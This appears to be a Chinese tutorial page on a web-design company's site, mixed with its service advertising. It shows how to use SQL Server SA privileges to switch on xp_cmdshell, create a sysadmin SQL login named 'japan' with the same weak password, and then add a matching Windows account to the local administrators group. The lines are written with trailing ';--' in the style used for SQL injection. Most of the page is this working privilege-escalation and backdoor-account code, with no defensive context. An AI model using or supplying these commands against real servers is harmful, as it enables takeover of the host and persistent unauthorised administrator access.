新聞中心
這里有您想知道的互聯(lián)網(wǎng)營銷解決方案
通過SQLServerSA權(quán)限創(chuàng)建系統(tǒng)用戶
通過SQL Server SA權(quán)限,可以實(shí)現(xiàn)許多的操作,下面為您介紹的是通過SQL Server SA權(quán)限創(chuàng)建系統(tǒng)用戶的方法,希望對您學(xué)習(xí)SQL Server SA權(quán)限的使用能有所啟迪。

創(chuàng)新互聯(lián)專注于筠連網(wǎng)站建設(shè)服務(wù)及定制,我們擁有豐富的企業(yè)做網(wǎng)站經(jīng)驗(yàn)。 熱誠為您提供筠連營銷型網(wǎng)站建設(shè),筠連網(wǎng)站制作、筠連網(wǎng)頁設(shè)計(jì)、筠連網(wǎng)站官網(wǎng)定制、微信平臺小程序開發(fā)服務(wù),打造筠連網(wǎng)絡(luò)公司原創(chuàng)品牌,更為您提供筠連網(wǎng)站排名全網(wǎng)營銷落地服務(wù)。
- --enabble xp_cmdshell
- EXEC sys.sp_configure N'show advanced options', N'1' RECONFIGURE WITH OVERRIDE
- go
- EXEC sys.sp_configure N'xp_cmdshell', N'1'
- go
- RECONFIGURE WITH OVERRIDE
- go
- EXEC sys.sp_configure N'show advanced options', N'0' RECONFIGURE WITH OVERRIDE
- go
- -- Unenable xp_cmdshell
- EXEC sys.sp_configure N'show advanced options', N'1' RECONFIGURE WITH OVERRIDE
- go
- EXEC sys.sp_configure N'xp_cmdshell', N'0'
- go
- RECONFIGURE WITH OVERRIDE
- go
- EXEC sys.sp_configure N'show advanced options', N'0' RECONFIGURE WITH OVERRIDE
- go
- -- 通過xp_cmdshell 創(chuàng)建操作系統(tǒng)用戶, japan 是用戶名及密碼
- exec master.dbo.sp_addlogin japan;--
- exec master.dbo.sp_password null,japan,japan;--
- exec master.dbo.sp_addsrvrolemember japan,sysadmin;--
- exec master.dbo.xp_cmdshell 'net user japan japan /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';--
- exec master.dbo.xp_cmdshell 'net localgroup administrators japan /add';--
網(wǎng)頁標(biāo)題:通過SQLServerSA權(quán)限創(chuàng)建系統(tǒng)用戶
本文地址:http://www.fisionsoft.com.cn/article/coojecd.html


咨詢
建站咨詢
